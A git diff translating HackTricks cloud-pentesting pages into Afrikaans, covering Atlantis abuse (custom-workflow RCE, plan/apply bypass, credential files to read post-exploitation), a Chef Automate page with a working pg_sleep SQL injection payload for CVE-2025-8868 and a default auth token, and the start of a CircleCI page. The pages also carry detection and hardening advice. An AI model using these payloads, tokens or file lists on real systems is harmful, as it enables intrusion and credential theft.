|
||||
```bash
|
||||
atlantis plan -- <terraform commands>
|
||||
atlantis plan -- -h #Get terraform plan help
|
||||
@@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help
|
||||
atlantis apply -- <terraform commands>
|
||||
atlantis apply -- -h #Get terraform apply help
|
||||
```
|
||||
Iets wat jy kan deurgee, is omgewingsveranderlikes wat dalk nuttig kan wees om sekere beskermings te omseil. Kyk na terraform omgewingsveranderlikes in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
#### Pasgemaakte Werkvloei
|
||||
|
||||
#### Custom Workflow
|
||||
|
||||
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
|
||||
This possibility was mentioned in a previous section:
|
||||
Die uitvoering van **kwaadwillige pasgemaakte bouopdragte** wat in 'n `atlantis.yaml`-lêer gespesifiseer is. Atlantis gebruik die `atlantis.yaml`-lêer van die pull request tak, **nie** van `master`.\
|
||||
Hierdie moontlikheid is in 'n vorige afdeling genoem:
|
||||
|
||||
> [!CAUTION]
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
|
||||
> As die [**bedienerkant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan werkvloei **gespesifiseer** word in die **`atlantis.yaml`**-lêer van elke repo. Dit is ook moontlik nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die **werkvloei** wat gebruik gaan word, te **oorheers**.
|
||||
>
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
> Dit sal basies **RCE in die Atlantis bediener aan enige gebruiker wat toegang tot daardie repo kan kry, gee**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -286,99 +272,97 @@ This possibility was mentioned in a previous section:
|
||||
> - run: my custom apply command
|
||||
> ```
|
||||
|
||||
#### Bypass plan/apply protections
|
||||
|
||||
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
|
||||
#### Omseil plan/apply beskermings
|
||||
|
||||
As die [**bedienerkant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allowed_overrides` _gekonfigureer_ is met `apply_requirements`, is dit moontlik vir 'n repo om die **plan/apply beskermings te wysig om dit te omseil**.
|
||||
```yaml
|
||||
repos:
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
```
|
||||
|
||||
#### PR Hijacking
|
||||
|
||||
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
|
||||
As iemand **`atlantis plan/apply` kommentaar op jou geldige pull requests stuur,** sal dit veroorsaak dat terraform loop wanneer jy nie wil hê dit moet nie.
|
||||
|
||||
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
|
||||
Boonop, as jy nie in die **branch protection** gekonfigureer het om te vra om elke PR te **herwaardeer** wanneer 'n **nuwe commit gestuur** word nie, kan iemand **kwaadwillige konfigurasies skryf** (kyk vorige scenario's) in die terraform konfigurasie, `atlantis plan/apply` uitvoer en RCE verkry.
|
||||
|
||||
This is the **setting** in Github branch protections:
|
||||
Dit is die **instelling** in Github branch protections:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Webhook Secret
|
||||
|
||||
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
|
||||
As jy daarin slaag om die **webhook secret** te **steel** of as daar **geen webhook secret** gebruik word nie, kan jy die **Atlantis webhook** aanroep en **atlatis commando's** direk aanroep.
|
||||
|
||||
#### Bitbucket
|
||||
|
||||
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
|
||||
Bitbucket Cloud ondersteun **nie webhook secrets** nie. Dit kan aanvallers toelaat om **aanvraag van Bitbucket te spoof**. Verseker dat jy slegs Bitbucket IP's toelaat.
|
||||
|
||||
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
|
||||
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
|
||||
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
|
||||
- Dit beteken dat 'n **aanvaller** **valse versoeke aan Atlantis** kan maak wat lyk asof dit van Bitbucket kom.
|
||||
- As jy `--repo-allowlist` spesifiseer, kan hulle slegs valse versoeke rakende daardie repos maak, so die meeste skade wat hulle kan aanrig, sal wees om te plan/apply op jou eie repos.
|
||||
- Om dit te voorkom, toelaat [Bitbucket se IP adresse](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (kyk Uitgaande IPv4 adresse).
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
|
||||
As jy daarin geslaag het om toegang tot die bediener te verkry of ten minste 'n LFI daar het, is daar 'n paar interessante dinge wat jy moet probeer lees:
|
||||
|
||||
- `/home/atlantis/.git-credentials` Contains vcs access credentials
|
||||
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
|
||||
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Env variables
|
||||
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
|
||||
- `/home/atlantis/.git-credentials` Bevat vcs toegang akkrediteer
|
||||
- `/atlantis-data/atlantis.db` Bevat vcs toegang akkrediteer met meer inligting
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform staat lêer
|
||||
- Voorbeeld: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Omgewing veranderlikes
|
||||
- `/proc/[2-20]/cmdline` Cmd lyn van `atlantis server` (kan sensitiewe data bevat)
|
||||
|
||||
### Mitigations
|
||||
|
||||
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
|
||||
|
||||
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
|
||||
Omdat enige iemand op openbare pull requests kan kommentaar lewer, selfs met al die sekuriteitsmitigasies beskikbaar, is dit steeds gevaarlik om Atlantis op openbare repos te laat loop sonder behoorlike konfigurasie van die sekuriteitsinstellings.
|
||||
|
||||
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
|
||||
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
|
||||
As jy op 'n openbare repo loop (wat nie aanbeveel word nie, kyk bo), moet jy nie `--allow-fork-prs` stel nie (standaard is vals) omdat enige iemand 'n pull request van hul fork na jou repo kan oopmaak.
|
||||
|
||||
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
|
||||
|
||||
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
|
||||
Atlantis vereis dat jy 'n allowlist van repositories spesifiseer waarvan dit webhooks sal aanvaar via die `--repo-allowlist` vlag. Byvoorbeeld:
|
||||
|
||||
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
|
||||
- Spesifieke repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Jou hele organisasie: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Elke repository in jou GitHub Enterprise installasie: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- Alle repositories: `--repo-allowlist=*`. Nuttig wanneer jy in 'n beskermde netwerk is, maar gevaarlik sonder om ook 'n webhook secret in te stel.
|
||||
|
||||
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
|
||||
Hierdie vlag verseker dat jou Atlantis installasie nie gebruik word met repositories wat jy nie beheer nie. Kyk na `atlantis server --help` vir meer besonderhede.
|
||||
|
||||
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
|
||||
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
|
||||
As aanvallers pull requests met kwaadwillige Terraform kode indien in jou bedreigingsmodel, moet jy bewus wees dat `terraform apply` goedkeuringe nie genoeg is nie. Dit is moontlik om kwaadwillige kode in 'n `terraform plan` te loop deur die [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) of deur 'n kwaadwillige verskaffer te spesifiseer. Hierdie kode kan dan jou akkrediteer uitvreet.
|
||||
|
||||
To prevent this, you could:
|
||||
Om dit te voorkom, kan jy:
|
||||
|
||||
1. Bake providers into the Atlantis image or host and deny egress in production.
|
||||
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
|
||||
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
|
||||
1. Verskaffers in die Atlantis beeld bak of gasheer en egress in produksie ontken.
|
||||
2. Implementeer die verskaffer registrasie protokol intern en ontken openbare egress, sodat jy beheer wie skrywe toegang tot die registrasie het.
|
||||
3. Wysig jou [server-side repo konfigurasie](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` stap om te valideer teen die gebruik van verbode verskaffers of data bronne of PR's van nie-toegelate gebruikers. Jy kan ook ekstra validasie by hierdie punt voeg, bv. vereis 'n "duim-op" op die PR voordat jy die `plan` toelaat om voort te gaan. Conftest kan hier nuttig wees.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
|
||||
Atlantis moet met Webhook secrets gedraai word wat via die `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` omgewing veranderlikes ingestel is. Selfs met die `--repo-allowlist` vlag ingestel, kan aanvallers versoeke aan Atlantis maak wat as 'n repository wat toegelaat is, voorgee. Webhook secrets verseker dat die webhook versoeke werklik van jou VCS verskaffer (GitHub of GitLab) kom.
|
||||
|
||||
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
|
||||
As jy Azure DevOps gebruik, voeg in plaas van webhook secrets 'n basiese gebruikersnaam en wagwoord by.
|
||||
|
||||
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
|
||||
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
|
||||
Azure DevOps ondersteun die stuur van 'n basiese verifikasie kop in alle webhook gebeurtenisse. Dit vereis die gebruik van 'n HTTPS URL vir jou webhook ligging.
|
||||
|
||||
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
|
||||
|
||||
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
|
||||
As jy webhook secrets gebruik, maar jou verkeer is oor HTTP, kan die webhook secrets gesteel word. Aktiveer SSL/HTTPS met die `--ssl-cert-file` en `--ssl-key-file` vlag.
|
||||
|
||||
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
|
||||
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
|
||||
Dit word baie aanbeveel om verifikasie in die webdiens in te skakel. Aktiveer BasicAuth met die `--web-basic-auth=true` en stel 'n gebruikersnaam en 'n wagwoord op met die `--web-username=yourUsername` en `--web-password=yourPassword` vlag.
|
||||
|
||||
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
Jy kan ook hierdie as omgewing veranderlikes deurgee `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` en `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
|
||||
### References
|
||||
|
||||
@@ -386,6 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
|
||||
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
# Chef Automate Security
|
||||
# Chef Automate Sekuriteit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Chef Automate
|
||||
## Wat is Chef Automate
|
||||
|
||||
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
|
||||
Chef Automate is 'n platform vir infrastruktuur-automatisering, nakoming en toepassingslewering. Dit stel 'n web UI (dikwels Angular) beskikbaar wat met backend gRPC-dienste kommunikeer via 'n gRPC-Gateway, en verskaf REST-agtige endpoints onder paaie soos /api/v0/.
|
||||
|
||||
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
|
||||
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
|
||||
- Algemene backend-komponente: gRPC services, PostgreSQL (dikwels sigbaar via pq: error prefixes), data-collector ingest service
|
||||
- Outentiseringsmeganismes: gebruikers-/API-tokens en 'n data-collector token header x-data-collector-token
|
||||
|
||||
## Enumeration & Attacks
|
||||
## Enumerasie & Aanvalle
|
||||
|
||||
{{#ref}}
|
||||
chef-automate-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,37 +4,37 @@
|
||||
|
||||
## Overview
|
||||
|
||||
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
|
||||
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
|
||||
Hierdie bladsy versamel praktiese tegnieke om Chef Automate instances te enumerate en te attack, met klem op:
|
||||
- Discovering gRPC-Gateway-backed REST endpoints en die afleiding van request-skemas via validation/error responses
|
||||
- Abusing the x-data-collector-token authentication header when defaults are present
|
||||
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
|
||||
|
||||
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
|
||||
> Let wel: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
|
||||
|
||||
## Recon: Architecture and Fingerprints
|
||||
|
||||
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
|
||||
- Front-end: Dikwels Angular. Statiese bundles kan hints gee oor REST paths (bv. /api/v0/...)
|
||||
- API transport: REST to gRPC via gRPC-Gateway
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Database/driver fingerprints:
|
||||
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
|
||||
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
|
||||
- Interesting Compliance endpoints (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
|
||||
## Auth: Data Collector Token (x-data-collector-token)
|
||||
|
||||
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
|
||||
Chef Automate het 'n data collector wat versoeke verifieer via 'n toegewyde header:
|
||||
|
||||
- Header: x-data-collector-token
|
||||
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
- Risk: Sommige omgewings mag 'n default token behou wat toegang tot beskermde API-roetes gee. Bekende default waargeneem in die wild:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
|
||||
Indien aanwezig, kan hierdie token gebruik word om Compliance API endpoints aan te roep wat andersins deur auth toegesluit is. Probeer altyd defaults te roteer/deaktiveer tydens hardening.
|
||||
|
||||
## API Schema Inference via Error-Driven Discovery
|
||||
|
||||
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
|
||||
gRPC-Gateway-backed endpoints leak dikwels nuttige validation errors wat die verwagte request model beskryf.
|
||||
|
||||
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
|
||||
|
||||
@@ -42,41 +42,36 @@ For /api/v0/compliance/profiles/search, the backend expects a body with a filter
|
||||
- values: array of strings
|
||||
|
||||
Example request shape:
|
||||
|
||||
```json
|
||||
{
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
|
||||
Verkeerd gevormde JSON of verkeerde veldtipes veroorsaak gewoonlik 4xx/5xx met leidrade, en headers dui die gRPC-Gateway-gedrag aan. Gebruik hierdie om velde te kaarteer en inspuitingsvlakke te lokaliseer.
|
||||
|
||||
## Compliance API SQL Injection (CVE-2025-8868)
|
||||
|
||||
- Affected endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Injection point: filters[].type
|
||||
- Vulnerability class: time-based blind SQL injection in PostgreSQL
|
||||
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
|
||||
|
||||
Working time-based payload:
|
||||
- Aangedane endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Inspuitingspunt: filters[].type
|
||||
- Kwetsbaarheidsklas: time-based blind SQL injection in PostgreSQL
|
||||
- Grondoorsaak: Gebrek aan behoorlike parameterization/whitelisting wanneer die type field in 'n dynamic SQL fragment geïnterpoleer word (waarskynlik gebruik om identifiers/WHERE clauses te konstrueer). Crafted values in type word deur PostgreSQL geëvalueer.
|
||||
|
||||
Werkende time-based payload:
|
||||
```json
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
|
||||
Technique notes:
|
||||
- Close the original string with a single quote
|
||||
- Concatenate a subquery that calls pg_sleep(N)
|
||||
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
|
||||
- Sluit die oorspronklike string met 'n enkele aanhalingsteken
|
||||
- Koppel 'n subquery wat pg_sleep(N) aanroep
|
||||
- Gaan weer in stringkonteks via || sodat die finale SQL sintakties geldig bly, ongeag waar type ingebed is
|
||||
|
||||
### Proof via differential latency
|
||||
### Bewys deur differensiële latensie
|
||||
|
||||
Send paired requests and compare response times to validate server-side execution:
|
||||
|
||||
- N = 1 second
|
||||
Stuur gepaarde versoeke en vergelyk reaksietye om bedienerkant-uitvoering te verifieer:
|
||||
|
||||
- N = 1 sekonde
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
@@ -85,9 +80,7 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
|
||||
```
|
||||
|
||||
- N = 5 seconds
|
||||
|
||||
- N = 5 sekondes
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
@@ -96,50 +89,49 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
|
||||
Observed behavior:
|
||||
- Response times scale with pg_sleep(N)
|
||||
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
|
||||
|
||||
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
|
||||
> Wenk: Gebruik 'n tyd-validator (bv. meervoudige dieproewe met statistiese vergelyking) om geraas en vals positiewe te verminder.
|
||||
|
||||
### Impact
|
||||
### Impak
|
||||
|
||||
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automate’s PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
|
||||
Geverifieerde gebruikers — of ongeverifieerde akteurs wat 'n standaard x-data-collector-token misbruik — kan arbitrêre SQL binne Chef Automate se PostgreSQL-konteks uitvoer, wat die vertroulikheid en integriteit van compliance-profiele, konfigurasie en telemetrie in gevaar stel.
|
||||
|
||||
### Affected versions / Fix
|
||||
### Geaffekteerde weergawes / Oplossing
|
||||
|
||||
- CVE: CVE-2025-8868
|
||||
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
|
||||
- Opgraderingsriglyn: Chef Automate 4.13.295 of later (Linux x86) volgens verskafferadvies
|
||||
|
||||
## Detection and Forensics
|
||||
## Opsporing en Forensiek
|
||||
|
||||
- API layer:
|
||||
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
|
||||
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
|
||||
- Database layer (PostgreSQL):
|
||||
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
|
||||
- Authentication:
|
||||
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
|
||||
- API-laag:
|
||||
- Monitor 500s op /api/v0/compliance/profiles/search waar filters[].type aanhalingstekens ('), concatenation (||), of funksieverwysings soos pg_sleep bevat
|
||||
- Kontroleer response headers vir grpc-metadata-content-type om gRPC-Gateway flows te identifiseer
|
||||
- Databasis-laag (PostgreSQL):
|
||||
- Ouditeer vir pg_sleep-oproepe en malformed identifier-foute (dikwels met pq: voorvoegsels afkomstig van die Go pq-driver)
|
||||
- Outentisering:
|
||||
- Log en waarsku oor gebruik van x-data-collector-token, veral bekende standaardwaardes, oor API-paaie
|
||||
|
||||
## Mitigations and Hardening
|
||||
## Mitigasies en Verharding
|
||||
|
||||
- Immediate:
|
||||
- Rotate/disable default data collector tokens
|
||||
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
|
||||
- Code-level:
|
||||
- Parameterize queries; never string-concatenate SQL fragments
|
||||
- Strictly whitelist allowed type values on the server (enum)
|
||||
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
|
||||
- Onmiddellik:
|
||||
- Draai/deaktiveer standaard data-collector-tokens
|
||||
- Beperk inkoms na data-collector-endpunte; dwing sterk, unieke tokens af
|
||||
- Kodevlak:
|
||||
- Parameteriseer queries; moenie SQL-fragmenten deur string-concatenation bou nie
|
||||
- Witlys streng toegelate type-waardes op die bediener (enum)
|
||||
- Vermy dinamiese SQL-samestelling vir identifiers/clauses; as dinamiese gedrag nodig is, gebruik veilige identifier-quoting en eksplisiete witlyste
|
||||
|
||||
## Practical Testing Checklist
|
||||
## Praktiese Toetskontrolelys
|
||||
|
||||
- Check if x-data-collector-token is accepted and whether the known default works
|
||||
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
|
||||
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
|
||||
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
|
||||
- Kontroleer of x-data-collector-token aanvaar word en of die bekende standaard werk
|
||||
- Map die Compliance API versoekskema deur valideringsfoute uit te lok en foutboodskappe/opskrifte te lees
|
||||
- Toets vir SQLi in minder voor die hand liggende “identifier-like” velde (bv. filters[].type), nie net waardes-arrays of vlak-1 teksvelde nie
|
||||
- Gebruik tydgebaseerde tegnieke met concatenation om SQL sintakties geldig oor verskeie kontekste te hou
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
|
||||
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
|
||||
@@ -147,4 +139,4 @@ Authenticated users—or unauthenticated actors abusing a default x-data-collect
|
||||
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
|
||||
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,258 +1,235 @@
|
||||
# CircleCI Security
|
||||
# CircleCI Sekuriteit
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Basiese Inligting
|
||||
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is 'n Kontinuïteitsintegrasie-platform waar jy **sjablone** kan **definieer** wat jy wil hê dit moet met 'n paar kode doen en wanneer om dit te doen. Op hierdie manier kan jy **toetsing** of **ontplooiings** outomaties **van jou repo hooftak** doen byvoorbeeld.
|
||||
|
||||
### Permissions
|
||||
### Toestemmings
|
||||
|
||||
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
|
||||
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
|
||||
**CircleCI** **erf die toestemmings** van github en bitbucket wat verband hou met die **rekening** wat aanmeld.\
|
||||
In my toetse het ek gekontroleer dat solank jy **skryftoestemmings oor die repo in github** het, jy in staat sal wees om **sy projekinstellings in CircleCI te bestuur** (nuwe ssh sleutels op te stel, projek api sleutels te kry, nuwe takke met nuwe CircleCI konfigurasies te skep...).
|
||||
|
||||
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
|
||||
Jy moet egter 'n **repo admin** wees om die **repo in 'n CircleCI projek te omskep**.
|
||||
|
||||
### Env Variables & Secrets
|
||||
### Omgewing Veranderlikes & Geheime
|
||||
|
||||
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
|
||||
Volgens [**die dokumentasie**](https://circleci.com/docs/2.0/env-vars/) is daar verskillende maniere om **waardes in omgewing veranderlikes** binne 'n werksvloei te **laai**.
|
||||
|
||||
#### Built-in env variables
|
||||
#### Ingeboude omgewing veranderlikes
|
||||
|
||||
